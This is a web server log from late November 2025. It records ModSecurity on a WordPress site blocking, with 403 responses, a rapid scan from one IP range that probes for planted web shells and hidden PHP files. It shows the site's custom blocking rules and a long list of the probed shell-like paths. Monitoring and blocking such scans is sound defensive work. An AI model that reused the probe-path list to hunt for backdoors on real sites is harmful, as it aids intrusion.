[Thu Nov 20 21:40:20.047871 2025] [:error] [pid 34405:tid 34417] [client 185.223.152.208:33099] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/block-directory/index.php"] [unique_id "aR8aRDFpvu8oRK7ATftAzwAAAQo"]
[Thu Nov 20 21:40:20.697896 2025] [:error] [pid 40537:tid 40563] [client 185.223.152.226:26209] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/back.php"] [unique_id "aR8aRKKlsL5kxTa3c1wAiAAAAtY"]
[Thu Nov 20 21:40:21.346010 2025] [:error] [pid 40537:tid 40543] [client 185.223.152.219:62641] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/aves.php"] [unique_id "aR8aRaKlsL5kxTa3c1wAigAAAsI"]
[Thu Nov 20 21:40:21.994310 2025] [:error] [pid 40415:tid 40427] [client 185.223.152.8:49151] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "aR8aRahjIyLSv09svwPQhgAAAck"]
[Thu Nov 20 21:40:22.646912 2025] [:error] [pid 40537:tid 40565] [client 185.223.152.217:49657] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aR8aRqKlsL5kxTa3c1wAjgAAAtg"]
[Thu Nov 20 21:40:23.294777 2025] [:error] [pid 40636:tid 40663] [client 185.223.152.217:39343] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aR8aRwK8BWUoW3xq0HAsswAAA5c"]
[Thu Nov 20 21:40:23.943163 2025] [:error] [pid 40508:tid 40521] [client 185.223.152.225:30143] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/m.php"] [unique_id "aR8aR6xXNVCMW_ksxPvf2gAAAos"]
[Thu Nov 20 21:40:24.589043 2025] [:error] [pid 55343:tid 55413] [client 185.223.152.205:23467] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aR8aSFWlO3EnyVMV7w7RvAAAAI4"]
[Thu Nov 20 21:40:25.236418 2025] [:error] [pid 34405:tid 34421] [client 185.223.152.7:24953] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/css/index.php"] [unique_id "aR8aSTFpvu8oRK7ATftA0AAAAQ4"]
[Thu Nov 20 21:40:25.885121 2025] [:error] [pid 55340:tid 55348] [client 185.223.152.211:49221] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "aR8aSfOxD-NeMydTybC_CwAAAAM"]
[Thu Nov 20 21:40:26.533604 2025] [:error] [pid 55343:tid 55404] [client 185.223.152.224:65135] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aR8aSlWlO3EnyVMV7w7RvQAAAIU"]
[Thu Nov 20 21:40:27.181171 2025] [:error] [pid 55343:tid 55418] [client 185.223.152.223:30133] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aR8aS1WlO3EnyVMV7w7RvgAAAJM"]
[Thu Nov 20 21:40:27.827434 2025] [:error] [pid 40636:tid 40655] [client 185.223.152.215:49961] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bless.php"] [unique_id "aR8aSwK8BWUoW3xq0HAstwAAA48"]
[Thu Nov 20 21:40:28.476782 2025] [:error] [pid 55430:tid 55445] [client 185.223.152.216:54313] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aR8aTPPZXaIMEU4pE7sg-QAAAMw"]
[Thu Nov 20 21:40:29.126046 2025] [:error] [pid 40415:tid 40419] [client 185.223.152.214:61207] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/load.php"] [unique_id "aR8aTahjIyLSv09svwPQiQAAAcE"]
[Thu Nov 20 21:40:29.772935 2025] [:error] [pid 40415:tid 40429] [client 185.223.152.6:23895] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aR8aTahjIyLSv09svwPQiwAAAcs"]
[Thu Nov 20 21:40:30.421143 2025] [:error] [pid 40415:tid 40434] [client 185.223.152.7:55031] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aR8aTqhjIyLSv09svwPQjgAAAdA"]
[Thu Nov 20 21:40:31.192917 2025] [:error] [pid 34405:tid 34411] [client 185.223.152.206:47759] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aR8aTzFpvu8oRK7ATftA0wAAAQQ"]
[Thu Nov 20 21:40:31.839801 2025] [:error] [pid 40445:tid 40478] [client 185.223.152.7:35191] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/"] [unique_id "aR8aT1H-MuFcoWRjXpaXxgAAAkM"]
[Thu Nov 20 21:40:32.489048 2025] [:error] [pid 40636:tid 40642] [client 185.223.152.222:28639] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aR8aUAK8BWUoW3xq0HAsuQAAA4I"]
[Thu Nov 20 21:40:33.139027 2025] [:error] [pid 34405:tid 34415] [client 185.223.152.223:64061] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/files.php"] [unique_id "aR8aUTFpvu8oRK7ATftA1gAAAQg"]
[Thu Nov 20 21:40:33.785072 2025] [:error] [pid 55430:tid 55453] [client 185.223.152.220:38605] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/classwithtostring.php"] [unique_id "aR8aUfPZXaIMEU4pE7sg-wAAANQ"]
[Thu Nov 20 21:40:34.431761 2025] [:error] [pid 55340:tid 55346] [client 185.223.152.6:60521] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aR8aUvOxD-NeMydTybC_DgAAAAE"]
[Thu Nov 20 21:40:35.081263 2025] [:error] [pid 40445:tid 40493] [client 185.223.152.217:33733] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/moon.php"] [unique_id "aR8aU1H-MuFcoWRjXpaXygAAAlI"]
[Thu Nov 20 21:40:35.726596 2025] [:error] [pid 40415:tid 40423] [client 185.223.152.214:44575] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin/index.php"] [unique_id "aR8aU6hjIyLSv09svwPQkwAAAcU"]
[Thu Nov 20 21:40:36.373610 2025] [:error] [pid 40445:tid 40476] [client 185.223.152.206:55565] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/about.php"] [unique_id "aR8aVFH-MuFcoWRjXpaXzAAAAkE"]
[Thu Nov 20 21:40:37.020263 2025] [:error] [pid 40537:tid 40550] [client 185.223.152.222:63335] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aR8aVaKlsL5kxTa3c1wAkQAAAsk"]
[Thu Nov 20 21:40:37.668419 2025] [:error] [pid 40445:tid 40487] [client 185.223.152.7:63337] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aR8aVVH-MuFcoWRjXpaXzgAAAkw"]
[Thu Nov 20 21:40:38.315304 2025] [:error] [pid 40445:tid 40475] [client 185.223.152.217:26371] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aR8aVlH-MuFcoWRjXpaXzwAAAkA"]
[Thu Nov 20 21:40:38.970275 2025] [:error] [pid 40445:tid 40485] [client 185.223.152.215:60811] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin-header.php"] [unique_id "aR8aVlH-MuFcoWRjXpaX0QAAAko"]
[Thu Nov 20 21:40:39.616693 2025] [:error] [pid 40537:tid 40546] [client 185.223.152.210:21213] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aR8aV6KlsL5kxTa3c1wAkgAAAsU"]
[Thu Nov 20 21:40:40.267204 2025] [:error] [pid 40415:tid 40428] [client 185.223.152.6:42583] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/autoload_classmap/function.php"] [unique_id "aR8aWKhjIyLSv09svwPQlQAAAco"]
[Thu Nov 20 21:40:40.914455 2025] [:error] [pid 40415:tid 40433] [client 185.223.152.223:50945] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aR8aWKhjIyLSv09svwPQlwAAAc8"]
[Thu Nov 20 21:40:41.560909 2025] [:error] [pid 40415:tid 40442] [client 185.223.152.204:61749] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/404.php"] [unique_id "aR8aWahjIyLSv09svwPQmQAAAdg"]
[Thu Nov 20 21:40:42.207226 2025] [:error] [pid 40537:tid 40560] [client 185.223.152.223:42203] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aR8aWqKlsL5kxTa3c1wAlAAAAtM"]
[Thu Nov 20 21:40:42.855258 2025] [:error] [pid 40445:tid 40488] [client 185.223.152.8:62357] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/class.api.php"] [unique_id "aR8aWlH-MuFcoWRjXpaX1wAAAk0"]
[Thu Nov 20 21:40:43.503883 2025] [:error] [pid 55343:tid 55406] [client 185.223.152.224:33465] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "aR8aW1WlO3EnyVMV7w7RwgAAAIc"]
[Thu Nov 20 21:40:44.149978 2025] [:error] [pid 55430:tid 55449] [client 185.223.152.210:43405] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/revslider/includes/external/page/index.php"] [unique_id "aR8aXPPZXaIMEU4pE7shAAAAANA"]
[Thu Nov 20 21:40:44.816781 2025] [:error] [pid 55343:tid 55415] [client 185.223.152.226:33097] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-config-sample.php"] [unique_id "aR8aXFWlO3EnyVMV7w7RwwAAAJA"]
[Thu Nov 20 21:40:45.465352 2025] [:error] [pid 55340:tid 55353] [client 185.223.152.217:60253] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aR8aXfOxD-NeMydTybC_EwAAAAg"]
[Thu Nov 20 21:40:46.110183 2025] [:error] [pid 55343:tid 55409] [client 185.223.152.209:39267] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aR8aXlWlO3EnyVMV7w7RxAAAAIo"]
[Thu Nov 20 21:40:46.757806 2025] [:error] [pid 40537:tid 40542] [client 185.223.152.204:39213] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/nav.php"] [unique_id "aR8aXqKlsL5kxTa3c1wAlwAAAsE"]
[Thu Nov 20 21:40:47.405074 2025] [:error] [pid 40537:tid 40544] [client 185.223.152.212:24999] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aR8aX6KlsL5kxTa3c1wAmAAAAsM"]
[Thu Nov 20 21:40:48.051809 2025] [:error] [pid 40537:tid 40547] [client 185.223.152.212:51031] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/files/"] [unique_id "aR8aYKKlsL5kxTa3c1wAmQAAAsY"]
[Thu Nov 20 21:40:48.701622 2025] [:error] [pid 55430:tid 55454] [client 185.223.152.5:21803] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aR8aYPPZXaIMEU4pE7shAwAAANU"]
[Thu Nov 20 21:40:49.357493 2025] [:error] [pid 55342:tid 55386] [client 185.223.152.210:49809] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "aR8aYbg6x32Tvk7fIG8DKQAAAE4"]
[Thu Nov 20 21:40:50.004012 2025] [:error] [pid 40508:tid 40523] [client 185.223.152.209:51347] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aR8aYqxXNVCMW_ksxPvf5QAAAo0"]
[Thu Nov 20 21:40:50.652932 2025] [:error] [pid 40636:tid 40664] [client 185.223.152.222:22675] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aR8aYgK8BWUoW3xq0HAsvAAAA5g"]
[Thu Nov 20 21:40:51.311085 2025] [:error] [pid 55343:tid 55423] [client 185.223.152.204:41697] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aR8aY1WlO3EnyVMV7w7RygAAAJg"]
[Thu Nov 20 21:40:51.979886 2025] [:error] [pid 40415:tid 40438] [client 185.223.152.223:30295] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hello.php"] [unique_id "aR8aY6hjIyLSv09svwPQngAAAdQ"]
[Thu Nov 20 21:40:52.630686 2025] [:error] [pid 55342:tid 55390] [client 185.223.152.213:29439] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/"] [unique_id "aR8aZLg6x32Tvk7fIG8DKgAAAFI"]
[Thu Nov 20 21:40:53.277420 2025] [:error] [pid 34405:tid 34419] [client 185.223.152.227:31247] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aR8aZTFpvu8oRK7ATftA4wAAAQw"]
[Thu Nov 20 21:40:53.924489 2025] [:error] [pid 40445:tid 40478] [client 185.223.152.218:50483] [client 185.223.152.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/privacy-tools.min.php"] [unique_id "aR8aZVH-MuFcoWRjXpaX2gAAAkM"]
[Thu Nov 20 21:40:54.570926 2025] [:error] [pid 40636:tid 40641] [client 185.223.152.225:23267] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aR8aZgK8BWUoW3xq0HAswgAAA4E"]
